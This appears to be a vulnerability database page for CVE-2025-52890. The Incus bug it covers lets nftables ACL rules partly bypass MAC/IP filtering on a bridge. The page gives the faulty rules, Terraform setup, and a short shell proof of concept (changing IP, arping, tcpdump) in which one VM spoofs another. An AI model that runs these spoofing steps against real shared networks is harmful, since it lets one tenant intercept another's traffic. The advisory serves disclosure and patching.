GHSA-p7fw-vjjm-2rwp CVE-2025-52890 GO-2025-3782
Incus creates nftables rules that partially bypass security options
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.23%
- Chance of exploitation in the next 30 days. Higher than 13.89% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
6.14.0- Upgrade github.com/lxc/incus/v6 to this version or later
Description
Summary
When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.
Details
In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:
ct state established,related accept
iifname "{{.hostName}}" ether type arp accept
iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
...
iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop
...
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop
Basically, the added rules partially bypass the security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).
PoC
With this terraform infrastructure:
resource "incus_network_acl" "acl_allow_out" {
name = "acl-allow-out"
egress = [
{
action = "allow"
destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
state = "enabled"
},
]
}
resource "incus_network_acl" "acl_allow_in" {
name = "acl-allow-in"
ingress = [
{
action = "allow"
state = "enabled"
},
]
}
resource "incus_network" "br0" {
name = "br0"
config = {
"ipv4.address" = "10.0.0.1/24"
"ipv4.nat" = "true"
}
}
resource "incus_instance" "machine1" {
name = "machine1"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
"cloud-init.vendor-data" = <<-EOF
#cloud-config
package_update: true
packages:
- dhclient
- tcpdump
runcmd:
- systemctl disable --now systemd.networkd.service
- systemctl disable --now systemd.networkd.socket
EOF
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
"security.ipv4_filtering" = true
"security.acls" = join(",",
[
incus_network_acl.acl_allow_out.name,
incus_network_acl.acl_allow_in.name,
])
}
}
}
resource "incus_instance" "machine2" {
name = "machine2"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
}
}
}
An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1.
In addition, as ct state established,related accept is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.
[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2
10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1
# Spoof machine2
[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0
[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0
# Flood
[MACHINE1]$ arping 10.0.0.1
# Machine2's IP refers to machine1's MAC in host ARP table
[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE
# Packets from the host (or forwarded by the host) to machine2 ...
[HOST]$ ping 10.0.0.236
PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.
64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms
# ... are sent to machine1!
[MACHINE1]$ tcpdump -nei enp5s0
listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64
15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64
Impact
All versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/lxc/incus | all versions |
No fix yet |
| github.com/lxc/incus/v6 | >= 6.12.0, < 6.14.0 |
6.14.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/lxc/incus/v6 Go → 6.14.0
- go
go get github.com/lxc/incus/v6@v6.14.0 && go mod tidy
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H
- Attack vector
- Adjacent
- Attack complexity
- Low
- Privileges required
- High
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- High
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6319 Incus has a project restriction bypass in instance copy across projects | High | Also affects github.com/lxc/incus |
| GHSA-64f3-v33m-w89f Incus has a project restriction bypass for custom volume copy across projects | High | Also affects github.com/lxc/incus |
| GO-2026-5806 Incus has an arbitrary file write on its client due to trusted image hash | Critical | Also affects github.com/lxc/incus |
| GO-2026-5810 Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7) | Low | Also affects github.com/lxc/incus |
| GO-2026-5808 Incus has an argument injection in backup compression algorithm leading to AFW and ACE | Critical | Also affects github.com/lxc/incus |
| GO-2026-5800 Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool} | Low | Also affects github.com/lxc/incus |
| GO-2026-5802 Incus has an arbitrary file write via path traversal in S3 multipart upload | Critical | Also affects github.com/lxc/incus |
| GO-2026-5803 Incus has arbitrary file read+write on host via templates/ symlink in malicious image | Critical | Also affects github.com/lxc/incus |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor